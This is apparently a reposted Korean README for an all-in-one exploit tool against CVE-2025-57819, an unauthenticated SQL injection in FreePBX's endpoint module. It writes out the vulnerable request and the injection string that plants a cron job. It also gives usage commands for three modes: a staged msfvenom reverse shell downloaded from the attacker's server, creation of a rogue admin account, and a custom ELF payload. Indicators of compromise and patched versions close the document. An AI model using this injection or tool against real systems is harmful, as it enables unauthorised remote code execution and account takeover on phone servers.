CVE-2025-57819-exploit

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JEANBACK1-CVE-2025-57819-EXPLOIT
# CVE-2025-57819 — FreePBX 사전 인증 SQL 삽입을 통한 원격 코드 실행

**CVE-2025-57819** 를 위한 올인원 익스플로잇입니다. FreePBX의 엔드포인트 모듈에 있는 인증되지 않은 SQL 삽입 취약점으로, 크론 작업 삽입을 통해 원격 코드 실행으로 이어집니다.

  * **CVSS** : 9.8 (심각) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  * **CISA KEV** : 2025년 8월 29일 추가
  * **영향** : Sangoma FreePBX 15, 16, 17, 엔드포인트 모듈 < 15.0.66 / < 16.0.89 / < 17.0.3
  * **패치 버전** : endpoint 15.0.66, 16.0.89, 17.0.3



## 취약점 요약

FreePBX는 인증 없이 `admin/ajax.php?module=FreePBX\modules\endpoint\ajax` 엔드포인트를 노출합니다 (**CWE-288**). `brand` 매개변수가 살균 처리 없이 SQL 쿼리에 직접 전달되어 (**CWE-89**), 공격자가 `asterisk` 데이터베이스에 임의의 SQL 문을 주입할 수 있습니다.

### 공격 체인

root@kitploit:~
    
    
    [Unauthenticated HTTP request]
            │
            ▼
    admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
            │
            ▼
    SQL Injection into `cron_jobs` table
    (INSERT with attacker-controlled command, schedule="* * * * *")
            │
            ▼
    Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
            │
            ▼
    Remote Code Execution
    

## 익스플로잇 기능

이 익스플로잇은 세 가지 모드를 지원합니다:

### 1\. 스테이징된 역방향 셸 (기본값)

  1. `msfvenom`을 통해 `linux/x64/shell_reverse_tcp` 바이너리 생성
  2. 바이너리를 제공하기 위한 HTTP 서버 시작
  3. 셸을 위한 TCP 리스너 시작
  4. SQLi를 통해 바이너리를 다운로드 및 실행하는 크론 작업 주입
  5. 크론이 실행되면 대화형 셸 획득
  6. 종료 시 주입된 크론 작업 정리



root@kitploit:~
    
    
    python3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
    

**예시:**

root@kitploit:~
    
    
    python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
    

역방향 셸에는 포트 4452를, HTTP 스테이지 서버에는 포트 4453을 사용합니다.

### 2\. 관리자 사용자 생성 (`--create-user`)

SQLi를 통해 새로운 FreePBX 관리자 계정을 생성합니다. 역방향 셸, 리치백, 바이너리가 필요하지 않습니다.

root@kitploit:~
    
    
    python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
    

### 3\. 사용자 정의 페이로드 (`--payload <path>`)

msfvenom으로 생성하는 대신 자신의 ELF 바이너리를 사용합니다.

root@kitploit:~
    
    
    python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
        --payload /path/to/custom_shell.elf
    

## 요구 사항

  * Python 3.6+
  * `requests` 라이브러리 (`pip install requests`)
  * **스테이지 모드** : Metasploit (`msfvenom`) 또는 `--payload`를 이용한 사용자 정의 페이로드
  * **`--create-user` 모드**: Python + requests 외에는 필요하지 않음



## 작동 방식

### SQL 삽입 벡터

취약한 엔드포인트는 다음과 같습니다:

root@kitploit:~
    
    
    GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
    

`brand` 매개변수가 살균 처리 없이 SQL INSERT에 연결됩니다. 익스플로잇은 다음과 같이 주입을 구성합니다:

root@kitploit:~
    
    
    ';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
    

끝의 `--`는 원래 쿼리의 나머지 부분을 주석 처리합니다.

### 크론 실행

FreePBX는 Asterisk cron 하위 시스템을 사용합니다. 크론 작업은 매 분마다 확인됩니다. 삽입된 작업의 일정(`* * * * *`)이 일치하면 명령이 `asterisk` 시스템 사용자로 실행됩니다.

### 정리

세션이 종료되거나 타임아웃되면, 익스플로잇은 DELETE SQLi를 전송하여 `cron_jobs`에서 주입된 크론 작업을 제거합니다.

## 침해 지표

  * `asterisk.cron_jobs`에 무작위 모듈/작업 이름으로 예상치 못한 항목이 나타남
  * FreePBX 서버에서 높은 포트의 외부 IP로 향하는 아웃바운드 HTTP 요청
  * `asterisk` 사용자의 역방향 셸 연결
  * `ampusers`에 무작위 새 관리자 계정이 생성됨 (`--create-user` 모드인 경우)



## 완화 조치

엔드포인트 모듈을 패치된 버전으로 업데이트하세요:

  * **15** : >= 15.0.66
  * **16** : >= 16.0.89
  * **17** : >= 17.0.3



## 참고 자료

  * NVD — CVE-2025-57819
  * GitHub Security Advisory — GHSA-m42g-xg4c-5f3h
  * CISA Known Exploited Vulnerabilities
  * watchTowr Labs
  * FreePBX Community Advisory



## 면책 조항

이 소프트웨어는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않거나 테스트에 대한 명시적 권한이 없는 시스템에 대한 무단 사용은 불법입니다. 작성자는 어떠한 오용에 대해서도 책임지지 않습니다.